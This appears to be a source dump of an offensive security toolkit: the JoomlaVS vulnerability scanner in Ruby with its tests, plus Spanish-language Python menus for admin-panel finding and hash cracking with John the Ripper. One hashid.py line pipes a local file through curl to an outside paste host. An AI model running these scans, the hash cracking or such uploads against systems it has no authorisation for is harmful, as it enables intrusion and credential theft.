52 | print_warning("Listing enabled: #{fingerprint_scanner.target_uri}#{i}")
53 | end
54 | end
55 | end
56 | end
57 | end
58 |
--------------------------------------------------------------------------------
/joomlavs/lib/joomlavs/helper.rb:
--------------------------------------------------------------------------------
1 | # frozen_string_literal: true
2 |
3 | # This file is part of JoomlaVS.
4 |
5 | # JoomlaVS is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 |
10 | # JoomlaVS is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 |
15 | # You should have received a copy of the GNU General Public License
16 | # along with JoomlaVS. If not, see .
17 |
18 | require_relative '../component_scanner'
19 | require_relative '../module_scanner'
20 | require_relative '../fingerprint_scanner'
21 | require_relative '../template_scanner'
22 |
23 | require_relative 'joomlavs'
24 | require_relative 'output'
25 | require_relative 'extensions'
26 | require_relative 'components'
27 | require_relative 'target'
28 | require_relative 'version'
29 | require_relative 'fingerprint'
30 | require_relative 'modules'
31 | require_relative 'templates'
32 |
--------------------------------------------------------------------------------
/joomlavs/lib/joomlavs/joomlavs.rb:
--------------------------------------------------------------------------------
1 | # frozen_string_literal: true
2 |
3 | # This file is part of JoomlaVS.
4 |
5 | # JoomlaVS is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 |
10 | # JoomlaVS is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 |
15 | # You should have received a copy of the GNU General Public License
16 | # along with JoomlaVS. If not, see .
17 |
18 | module JoomlaVS
19 | attr_reader :opts
20 | attr_reader :fingerprint_scanner
21 | attr_reader :target
22 | attr_reader :joomla_version
23 |
24 | def abort_scan
25 | print_line_break
26 | print_good('Scan aborted')
27 | exit(1)
28 | end
29 |
30 | def has_target
31 | !opts[:url].nil? && !opts[:url].empty?
32 | end
33 |
34 | def joomla_vulnerabilities
35 | json = File.read(File.join(ExtensionScanner.base_path, 'data/joomla.json'))
36 | vulns = JSON.parse(json)
37 | found = []
38 |
39 | vulns.each do |v|
40 | found.push(v) if ExtensionScanner.version_is_vulnerable(Gem::Version.new(joomla_version), v)
41 | end
42 |
43 | found
44 | end
45 |
46 | def display_joomla_vulns
47 | return unless joomla_version
48 |
49 | joomla_vulns = joomla_vulnerabilities
50 | return unless joomla_vulns
51 |
52 | print_warning("Found #{joomla_vulns.length} vulnerabilities affecting this version of Joomla!")
53 | display_vulns(joomla_vulns)
54 | end
55 | end
56 |
--------------------------------------------------------------------------------
/joomlavs/lib/joomlavs/modules.rb:
--------------------------------------------------------------------------------
1 | # frozen_string_literal: true
2 |
3 | # This file is part of JoomlaVS.
4 |
5 | # JoomlaVS is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 |
10 | # JoomlaVS is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 |
15 | # You should have received a copy of the GNU General Public License
16 | # along with JoomlaVS. If not, see .
17 |
18 | module JoomlaVS
19 | module Modules
20 | def build_modules_filter(scanner)
21 | scanner.build_filter(fingerprint_scanner.modules_listing_enabled, fingerprint_scanner.administrator_modules_listing_enabled)
22 | end
23 |
24 | def scan_modules
25 | scan(:modules, ModuleScanner, opts[:scan_modules])
26 | end
27 | end
28 | end
29 |
--------------------------------------------------------------------------------
/joomlavs/lib/joomlavs/output.rb:
--------------------------------------------------------------------------------
1 | # frozen_string_literal: true
2 |
3 | # This file is part of JoomlaVS.
4 |
5 | # JoomlaVS is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 |
10 | # JoomlaVS is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 |
15 | # You should have received a copy of the GNU General Public License
16 | # along with JoomlaVS. If not, see .
17 |
18 | require 'colorize'
19 | require 'readline'
20 |
21 | module JoomlaVS
22 | module Output
23 | attr_accessor :use_colours
24 |
25 | def print_line(prefix, text, new_line = true)
26 | print prefix
27 |
28 | if use_colours
29 | print " #{text}".light_white
30 | else
31 | print " #{text}"
32 | end
33 |
34 | print "\r\n" if new_line
35 | end
36 |
37 | def print_banner
38 | banner = %(
39 | ----------------------------------------------------------------------
40 |
41 | ██╗ ██████╗ ██████╗ ███╗ ███╗██╗ █████╗ ██╗ ██╗███████╗
42 | ██║██╔═══██╗██╔═══██╗████╗ ████║██║ ██╔══██╗██║ ██║██╔════╝
43 | ██║██║ ██║██║ ██║██╔████╔██║██║ ███████║██║ ██║███████╗
44 | ██ ██║██║ ██║██║ ██║██║╚██╔╝██║██║ ██╔══██║╚██╗ ██╔╝╚════██║
45 | ╚█████╔╝╚██████╔╝╚██████╔╝██║ ╚═╝ ██║███████╗██║ ██║ ╚████╔╝ ███████║
46 | ╚════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚══════╝
47 |
48 | ----------------------------------------------------------------------
49 |
50 | )
51 | print banner.light_white if use_colours
52 | print banner unless use_colours
53 | end
54 |
55 | def read_input(prompt)
56 | if use_colours
57 | print_line('[?]'.light_white, prompt, false)
58 | else
59 | print_line('[?]', prompt, false)
60 | end
61 |
62 | Readline.readline
63 | end
64 |
65 | def print_good(text)
66 | if use_colours
67 | print_line('[+]'.green, text)
68 | else
69 | print_line('[+]', text)
70 | end
71 | end
72 |
73 | def print_warning(text)
74 | if use_colours
75 | print_line('[!]'.yellow, text)
76 | else
77 | print_line('[!]', text)
78 | end
79 | end
80 |
81 | def print_info(text)
82 | if use_colours
83 | print_line('[i]'.cyan, text)
84 | else
85 | print_line('[i]', text)
86 | end
87 | end
88 |
89 | def print_error(text)
90 | if use_colours
91 | print_line('[!]'.red, text)
92 | else
93 | print_line('[!]', text)
94 | end
95 | end
96 |
97 | def print_indent(text)
98 | if use_colours
99 | print_line(' | '.light_white, text)
100 | else
101 | print_line(' | ', text)
102 | end
103 | end
104 |
105 | def print_line_break
106 | puts ''
107 | end
108 |
109 | def print_horizontal_rule
110 | puts '------------------------------------------------------------------'
111 | end
112 |
113 | def print_indent_unless_empty(text, var)
114 | print_indent(text) unless var.empty?
115 | end
116 |
117 | def print_verbose(text)
118 | print_info(text) if opts[:verbose]
119 | end
120 | end
121 | end
122 |
--------------------------------------------------------------------------------
/joomlavs/lib/joomlavs/target.rb:
--------------------------------------------------------------------------------
1 | # frozen_string_literal: true
2 |
3 | # This file is part of JoomlaVS.
4 |
5 | # JoomlaVS is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 |
10 | # JoomlaVS is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 |
15 | # You should have received a copy of the GNU General Public License
16 | # along with JoomlaVS. If not, see .
17 |
18 | module JoomlaVS
19 | module Target
20 | def update_target_uri(new_uri)
21 | fingerprint_scanner.update_target_uri new_uri
22 | print_verbose("Now targetting #{fingerprint_scanner.target_uri}")
23 | end
24 |
25 | def verify_target_change(new_uri)
26 | print_info("The remote host tried to redirect to: #{new_uri}")
27 | answer = read_input('Do you want to follow the redirection? [Y]es [N]o [A]bort: ')
28 | if answer =~ /^y/i
29 | update_target_uri(new_uri)
30 | elsif answer =~ /^a/i
31 | abort_scan
32 | end
33 | end
34 |
35 | def check_target_redirection
36 | redirected_uri = fingerprint_scanner.target_redirects_to
37 | return unless redirected_uri
38 |
39 | if opts[:follow_redirection]
40 | update_target_uri(redirected_uri)
41 | else
42 | print_line_break
43 | verify_target_change(redirected_uri)
44 | end
45 | end
46 | end
47 | end
48 |
--------------------------------------------------------------------------------
/joomlavs/lib/joomlavs/templates.rb:
--------------------------------------------------------------------------------
1 | # frozen_string_literal: true
2 |
3 | # This file is part of JoomlaVS.
4 |
5 | # JoomlaVS is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 |
10 | # JoomlaVS is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 |
15 | # You should have received a copy of the GNU General Public License
16 | # along with JoomlaVS. If not, see .
17 |
18 | module JoomlaVS
19 | module Templates
20 | def build_templates_filter(scanner)
21 | scanner.build_filter(fingerprint_scanner.templates_listing_enabled, fingerprint_scanner.administrator_templates_listing_enabled)
22 | end
23 |
24 | def scan_templates
25 | scan(:templates, TemplateScanner, opts[:scan_templates])
26 | end
27 | end
28 | end
29 |
--------------------------------------------------------------------------------
/joomlavs/lib/joomlavs/version.rb:
--------------------------------------------------------------------------------
1 | # frozen_string_literal: true
2 |
3 | # This file is part of JoomlaVS.
4 |
5 | # JoomlaVS is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 |
10 | # JoomlaVS is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 |
15 | # You should have received a copy of the GNU General Public License
16 | # along with JoomlaVS. If not, see .
17 |
18 | module JoomlaVS
19 | module Version
20 | def determine_joomla_version_from_language
21 | print_verbose('Searching for version in language file (en-GB-xml)...')
22 | @joomla_version = fingerprint_scanner.version_from_language
23 | if joomla_version
24 | print_good("Joomla version #{@joomla_version} identified from language file (en-GB.xml)")
25 | else
26 | print_verbose('No version found in language file')
27 | end
28 | end
29 |
30 | def determine_joomla_version_from_meta_tags
31 | print_verbose('Searching for version in meta data...')
32 | @joomla_version = fingerprint_scanner.version_from_meta_tag
33 |
34 | if joomla_version
35 | print_good("Joomla version #{@joomla_version} identified from meta data")
36 | else
37 | print_verbose('No version found in the meta data')
38 | end
39 | end
40 |
41 | def determine_joomla_version_from_readme
42 | print_verbose('Searching for version in README.txt...')
43 | @joomla_version = fingerprint_scanner.version_from_readme
44 | if joomla_version
45 | print_good("Joomla version #{@joomla_version} identified from README.txt")
46 | else
47 | print_verbose('No version found in README.txt')
48 | end
49 | end
50 |
51 | def determine_joomla_version_from_admin_manifest
52 | print_verbose('Searching for version in admin manifest...')
53 | @joomla_version = fingerprint_scanner.version_from_manifest
54 | if joomla_version
55 | print_good("Joomla version #{@joomla_version} identified from admin manifest")
56 | else
57 | print_verbose('No version found in admin manifest')
58 | end
59 | end
60 |
61 | def determine_joomla_version
62 | print_line_break
63 | print_verbose('Determining Joomla version...')
64 | determine_joomla_version_from_admin_manifest
65 | determine_joomla_version_from_language unless @joomla_version
66 | determine_joomla_version_from_meta_tags unless @joomla_version
67 | determine_joomla_version_from_readme unless @joomla_version
68 | print_error('Couldn\'t determine version') unless joomla_version
69 | end
70 | end
71 | end
72 |
--------------------------------------------------------------------------------
/joomlavs/lib/module_scanner.rb:
--------------------------------------------------------------------------------
1 | # frozen_string_literal: true
2 |
3 | # This file is part of JoomlaVS.
4 |
5 | # JoomlaVS is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 |
10 | # JoomlaVS is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 |
15 | # You should have received a copy of the GNU General Public License
16 | # along with JoomlaVS. If not, see .
17 |
18 | require_relative 'extension_scanner'
19 |
20 | # This class provides functionality to scan for
21 | # vulnerable Joomla modules.
22 | class ModuleScanner < ExtensionScanner
23 | def initialize(target_uri, opts)
24 | super(target_uri, 'data/modules.json', opts)
25 | end
26 |
27 | def extension_prefix
28 | 'mod_'
29 | end
30 |
31 | def directory_name
32 | 'modules'
33 | end
34 | end
35 |
--------------------------------------------------------------------------------
/joomlavs/lib/scanner.rb:
--------------------------------------------------------------------------------
1 | # frozen_string_literal: true
2 |
3 | # This file is part of JoomlaVS.
4 |
5 | # JoomlaVS is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 |
10 | # JoomlaVS is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 |
15 | # You should have received a copy of the GNU General Public License
16 | # along with JoomlaVS. If not, see .
17 |
18 | require 'typhoeus'
19 |
20 | # This class provides the base functionality
21 | # for all the scanner classes.
22 | class Scanner
23 | def initialize(target_uri, opts)
24 | update_target_uri target_uri
25 | @opts = opts
26 | @hydra = Typhoeus::Hydra.new(max_concurrency: opts[:threads])
27 | end
28 |
29 | def target_uri
30 | @target_uri
31 | end
32 |
33 | def update_target_uri(value)
34 | @target_uri = value.chomp('/')
35 | end
36 |
37 | def hydra
38 | @hydra
39 | end
40 |
41 | def follow_redirection
42 | @opts[:follow_redirection]
43 | end
44 |
45 | def normalize_uri(*parts)
46 | uri = parts * '/'
47 | uri = uri.gsub!('//', '/') while uri.index('//')
48 |
49 | # Makes sure there's a starting slash
50 | unless uri[0, 1] == '/'
51 | uri = '/' + uri
52 | end
53 |
54 | uri
55 | end
56 |
57 | def create_request(path)
58 | req = Typhoeus::Request.new(
59 | target_uri + path,
60 | followlocation: @opts[:follow_redirection] ? true : false,
61 | headers: { 'User-Agent' => @opts[:user_agent] },
62 | ssl_verifyhost: @opts[:disable_tls_checks] ? 0 : 2,
63 | ssl_verifypeer: !@opts[:disable_tls_checks]
64 | )
65 | req.options['userpwd'] = @opts[:basic_auth] if @opts[:basic_auth]
66 | req.options['proxy'] = @opts[:proxy] if @opts[:proxy]
67 | req.options['proxyuserpwd'] = @opts[:proxy_auth] if @opts[:proxy_auth]
68 | req
69 | end
70 |
71 | def index_request
72 | create_request('/')
73 | end
74 |
75 | def run_request(req)
76 | req.on_complete do |resp|
77 | return resp
78 | end
79 |
80 | req.run
81 | end
82 |
83 | def target_redirects_to
84 | req = create_request('/')
85 | req.options['followlocation'] = false
86 | loc = nil
87 | resp = run_request(req)
88 |
89 | if resp.code == 301 || resp.code == 302
90 | loc = resp.headers['location']
91 | end
92 |
93 | loc
94 | end
95 |
96 | def extract_version_number(text)
97 | match = /([0-9]+(\.?[0-9]+)?(\.?[0-9]+)?)+/.match(text)
98 | return match.captures[0] if match
99 | end
100 | end
101 |
--------------------------------------------------------------------------------
/joomlavs/lib/template_scanner.rb:
--------------------------------------------------------------------------------
1 | # frozen_string_literal: true
2 |
3 | # This file is part of JoomlaVS.
4 |
5 | # JoomlaVS is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 |
10 | # JoomlaVS is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 |
15 | # You should have received a copy of the GNU General Public License
16 | # along with JoomlaVS. If not, see .
17 |
18 | require_relative 'extension_scanner'
19 |
20 | # This class provides functionality to scan for
21 | # vulnerable Joomla templates.
22 | class TemplateScanner < ExtensionScanner
23 | def initialize(target_uri, opts)
24 | super(target_uri, 'data/templates.json', opts)
25 | end
26 |
27 | def directory_name
28 | 'templates'
29 | end
30 |
31 | def queue_requests(name, path_index = 0, &block)
32 | paths = possible_paths(name)
33 | return unless path_index < paths.length
34 | queue_manifest_request('templateDetails.xml', paths, name, path_index, &block)
35 | end
36 |
37 | def get_hrefs_from_links(links)
38 | hrefs = links.map { |link| link.attribute('href').to_s }
39 | hrefs = hrefs.uniq.sort.delete_if { |href| href.empty? || href.start_with?('?') || href == '/' }
40 | hrefs
41 | end
42 |
43 | def extract_extensions_from_page(url)
44 | req = create_request(url)
45 | matches = []
46 |
47 | req.on_complete do |resp|
48 | doc = Nokogiri::HTML(resp.body)
49 | links = doc.css('a')
50 | hrefs = get_hrefs_from_links(links)
51 | matches = hrefs.map { |href| href.match(/\/?([a-z0-9\-_]+)\/?$/i)[1] }
52 | end
53 |
54 | req.run
55 | matches
56 | end
57 |
58 | def extract_list_from_home
59 | pattern = /(\/administrator)?\/templates\/[a-z0-9\-\._]+/i
60 | url = '/'
61 | matches = extract_extension_list_from_page(url, pattern)
62 | matches.map { |m| m.sub(/^(\/administrator)?\/templates\//i, '') }
63 | end
64 | end
65 |
--------------------------------------------------------------------------------
/joomlavs/spec/component_scanner_spec.rb:
--------------------------------------------------------------------------------
1 | # frozen_string_literal: true
2 |
3 | # This file is part of JoomlaVS.
4 |
5 | # JoomlaVS is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 |
10 | # JoomlaVS is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 |
15 | # You should have received a copy of the GNU General Public License
16 | # along with JoomlaVS. If not, see .
17 |
18 | require 'spec_helper'
19 |
20 | describe ComponentScanner do
21 | let(:target_uri) { 'http://localhost/' }
22 | let(:opts_user_agent) { 'Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0' }
23 |
24 | let(:typhoeus_code) { 200 }
25 | let(:typhoeus_body) { '' }
26 | let(:typhoeus_headers) { { 'Content-Type' => 'text/html; charset=utf-8' } }
27 |
28 | before :each do
29 | @scanner = ComponentScanner.new(
30 | target_uri,
31 | user_agent: opts_user_agent,
32 | threads: 20
33 | )
34 |
35 | Typhoeus.stub(/.*/) do
36 | Typhoeus::Response.new(code: typhoeus_code, body: typhoeus_body, headers: typhoeus_headers)
37 | end
38 | end
39 |
40 | describe '#possible_paths' do
41 | it 'returns two possible paths for the component to be found' do
42 | expect(@scanner.possible_paths('test').length).to eq 2
43 | end
44 | end
45 |
46 | describe '#extract_list_from_admin_index' do
47 | let(:typhoeus_body) { 'Index of page com_foo
com_bar' }
48 | it 'returns a list of the component names, minus the com_ prefix' do
49 | res = @scanner.extract_list_from_admin_index
50 | expect(res).to eq ['foo', 'bar']
51 | end
52 | end
53 |
54 | describe '#extract_list_from_index' do
55 | let(:typhoeus_body) { 'Index of page com_foo
com_bar' }
56 | it 'returns a list of the component names, minus the com_ prefix' do
57 | res = @scanner.extract_list_from_index
58 | expect(res).to eq ['foo', 'bar']
59 | end
60 | end
61 |
62 | describe '#extract_list_from_home' do
63 | let(:typhoeus_body) { 'Index of page com_foo
com_bar' }
64 | it 'returns a list of the component names, minus the com_ prefix' do
65 | res = @scanner.extract_list_from_home
66 | expect(res).to eq ['foo', 'bar']
67 | end
68 | end
69 | end
70 |
--------------------------------------------------------------------------------
/joomlavs/spec/module_scanner_spec.rb:
--------------------------------------------------------------------------------
1 | # frozen_string_literal: true
2 |
3 | # This file is part of JoomlaVS.
4 |
5 | # JoomlaVS is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 |
10 | # JoomlaVS is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 |
15 | # You should have received a copy of the GNU General Public License
16 | # along with JoomlaVS. If not, see .
17 |
18 | require 'spec_helper'
19 |
20 | describe ModuleScanner do
21 | let(:target_uri) { 'http://localhost/' }
22 | let(:opts_user_agent) { 'Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0' }
23 |
24 | let(:typhoeus_code) { 200 }
25 | let(:typhoeus_body) { '' }
26 | let(:typhoeus_headers) { { 'Content-Type' => 'text/html; charset=utf-8' } }
27 |
28 | before :each do
29 | @scanner = ModuleScanner.new(
30 | target_uri,
31 | user_agent: opts_user_agent,
32 | threads: 20
33 | )
34 |
35 | Typhoeus.stub(/.*/) do
36 | Typhoeus::Response.new(code: typhoeus_code, body: typhoeus_body, headers: typhoeus_headers)
37 | end
38 | end
39 |
40 | describe '#possible_paths' do
41 | it 'returns two possible paths for the module to be found' do
42 | expect(@scanner.possible_paths('test').length).to eq 2
43 | end
44 | end
45 |
46 | describe '#extract_list_from_admin_index' do
47 | let(:typhoeus_body) { 'Index of page mod_foo
mod_bar' }
48 | it 'returns a list of the module names, minus the mod_ prefix' do
49 | res = @scanner.extract_list_from_admin_index
50 | expect(res).to eq ['foo', 'bar']
51 | end
52 | end
53 |
54 | describe '#extract_list_from_index' do
55 | let(:typhoeus_body) { 'Index of page mod_foo
mod_bar' }
56 | it 'returns a list of the module names, minus the mod_ prefix' do
57 | res = @scanner.extract_list_from_index
58 | expect(res).to eq ['foo', 'bar']
59 | end
60 | end
61 |
62 | describe '#extract_list_from_home' do
63 | let(:typhoeus_body) { 'Index of page mod_foo
mod_bar' }
64 | it 'returns a list of the module names, minus the mod_ prefix' do
65 | res = @scanner.extract_list_from_home
66 | expect(res).to eq ['foo', 'bar']
67 | end
68 | end
69 | end
70 |
--------------------------------------------------------------------------------
/joomlavs/spec/spec_helper.rb:
--------------------------------------------------------------------------------
1 | # frozen_string_literal: true
2 |
3 | # This file is part of JoomlaVS.
4 |
5 | # JoomlaVS is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 |
10 | # JoomlaVS is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 |
15 | # You should have received a copy of the GNU General Public License
16 | # along with JoomlaVS. If not, see .
17 |
18 | require 'coveralls'
19 | Coveralls.wear!
20 |
21 | require_relative '../lib/scanner'
22 | require_relative '../lib/module_scanner'
23 | require_relative '../lib/fingerprint_scanner'
24 | require_relative '../lib/component_scanner'
25 | require_relative '../lib/extension_scanner'
26 | require_relative '../lib/template_scanner'
27 |
28 | RSpec.configure do |config|
29 | config.before :each do
30 | Typhoeus::Expectation.clear
31 | end
32 | end
33 |
--------------------------------------------------------------------------------
/modules/__init__.py:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/modules/adminder.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python2
2 | # encoding: utf-8
3 | # This program is free software: you can redistribute it and/or modify
4 | # it under the terms of the GNU General Public License as published by
5 | # the Free Software Foundation, either version 3 of the License, or
6 | # (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful,
9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11 | # GNU General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program. If not, see .
15 |
16 | import subprocess
17 | def adminfind():
18 | subprocess.call(["python2","modules/buscaelpanel.py"])
19 |
--------------------------------------------------------------------------------
/modules/hashid.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python2
2 | # encoding: utf-8
3 | # This program is free software: you can redistribute it and/or modify
4 | # it under the terms of the GNU General Public License as published by
5 | # the Free Software Foundation, either version 3 of the License, or
6 | # (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful,
9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11 | # GNU General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program. If not, see .
15 |
16 | import subprocess
17 | import os
18 | import checker
19 | import johnmod
20 |
21 | def menu():
22 | checker.cAmarillo("\nElige la tarea que quieres realizar:")
23 | print """
24 | a) Identificacion de hashes.
25 | b) Desencriptación de hashes usando John The Ripper + Wordlists.
26 | c) Desencriptacion de Hashes online y Wordlist para bruteforce.
27 | d) Salir.
28 | """
29 | option=raw_input("Introduce tu opcion: ")
30 | try:
31 | if option == "a":
32 | os.system("python2 modules/hashidentifier")
33 | menu()
34 |
35 | elif option == "b":
36 | checker.cAmarillo("Elige la opción que deseas usar: ")
37 | print """
38 | a) Desencriptación de un Hash tipo MD5.
39 | b) Desencriptación de un Hash tipo Sha-1.
40 | c) Desencriptación de un Hash tipo MySQL.
41 | d) Desencriptación de un Hash tipo Django.
42 | e) Desencriptación de cualquier tipo de Hash (Debes conocer previamente el tipo de Hash).
43 | f) Regresar al menú anterior.
44 | """
45 | tipodehashh=raw_input("Teclea tu opción: ")
46 | if tipodehashh == "a":
47 | johnmod.md5hash()
48 | menu()
49 | elif tipodehashh == "b":
50 | johnmod.sha1hash()
51 | menu()
52 | elif tipodehashh == "c":
53 | johnmod.mysqlhash()
54 | menu()
55 | elif tipodehashh == "d":
56 | johnmod.djangohash()
57 | menu()
58 | elif tipodehashh == "e":
59 | johnmod.anyhash()
60 | menu()
61 | elif tipodehashh == "f":
62 | print "Regresando al menú anterior.\n"
63 | pass
64 | else:
65 | print "Opción invalida, intentalo de nuevo."
66 | menu()
67 | elif option == "c":
68 | checker.cAmarillo("Utiliza las siguientes direcciones Web para buscar tus hash.")
69 | print """
70 | 1) Para hash MD5 - https://hashkiller.co.uk/md5-decrypter.aspx
71 | 2) Para hash Sha-1 - https://hashkiller.co.uk/sha1-decrypter.aspx
72 | 3) Para claves WPA/WPA2 - https://hashkiller.co.uk/wpa-crack.aspx
73 | 4) Para hash NTML https://hashkiller.co.uk/ntlm-decrypter.aspx
74 | """
75 | checker.cRojo("Adicionalmente puedes descargar tus wordlist para ataques de fuerza bruta directamente desde aquí: ")
76 | os.system("cat modules/wordlist/worlists.txt | curl -F c=@- https://ptpb.pw/?u=1")
77 | print ""
78 |
79 | menu()
80 | elif option == "d":
81 | print "Saliendo."
82 | else:
83 | menu()
84 | except KeyboardInterrupt:
85 | pass
86 |
--------------------------------------------------------------------------------
/modules/logs.py:
--------------------------------------------------------------------------------
1 | import random, string, subprocess
2 |
3 | def randomarch(directorio,nombre,extension):
4 | wtwopt = nombre+''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(6)])+extension
5 | salida="modules/logs/"+directorio+wtwopt
6 | return salida
7 |
--------------------------------------------------------------------------------
/modules/tplmap/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 |
5 | # C extensions
6 | *.so
7 |
8 | # Distribution / packaging
9 | .Python
10 | env/
11 | bin/
12 | build/
13 | develop-eggs/
14 | dist/
15 | eggs/
16 | lib/
17 | lib64/
18 | parts/
19 | sdist/
20 | var/
21 | *.egg-info/
22 | .installed.cfg
23 | *.egg
24 |
25 | # Installer logs
26 | pip-log.txt
27 | pip-delete-this-directory.txt
28 |
29 | # Unit test / coverage reports
30 | .tox/
31 | .coverage
32 | .cache
33 | nosetests.xml
34 | coverage.xml
35 |
36 | # Translations
37 | *.mo
38 |
39 | # OsX
40 | .DS_Store
41 |
42 |
43 | # TplMap third party test-data
44 | tests/env_*/lib/
45 | tests/env_*/templates_c/
46 |
47 | # Npm local modules
48 | node_modules
49 |
50 | # Jython
51 | *.class
52 |
53 | # Vim
54 | # swap
55 | .sw[a-p]
56 | .*.sw[a-p]
57 | # tags
58 | tags
59 |
--------------------------------------------------------------------------------
/modules/tplmap/.travis.yml:
--------------------------------------------------------------------------------
1 | sudo: required
2 |
3 | services:
4 | - docker
5 |
6 | script:
7 | ./tests/tests.sh
8 |
--------------------------------------------------------------------------------
/modules/tplmap/burp_extension.py:
--------------------------------------------------------------------------------
1 | from burp_extension.burp_extender import BurpExtender
2 |
--------------------------------------------------------------------------------
/modules/tplmap/burp_extension/README.md:
--------------------------------------------------------------------------------
1 | # Burp Suite Plugin
2 |
3 | Tplmap is able to run as a Burp Suite Extension.
4 |
5 | ### Install
6 |
7 | Load burp_extension.py with following conditions.
8 |
9 | * Burp Suite edition: Professional
10 | * The Python modules required for Tplmap are installed.
11 | * PyYaml
12 | * requests
13 | * Extension type: Python
14 |
15 | An example of a simple setup procedure:
16 |
17 | 1. Install Jython by installer
18 | ```sh
19 | $ wget 'http://search.maven.org/remotecontent?filepath=org/python/jython-installer/2.7.0/jython-installer-2.7.0.jar' -O jython_installer.jar
20 | $ java -jar jython_installer.jar -s -d /path/to/install/jython -t standard
21 | ```
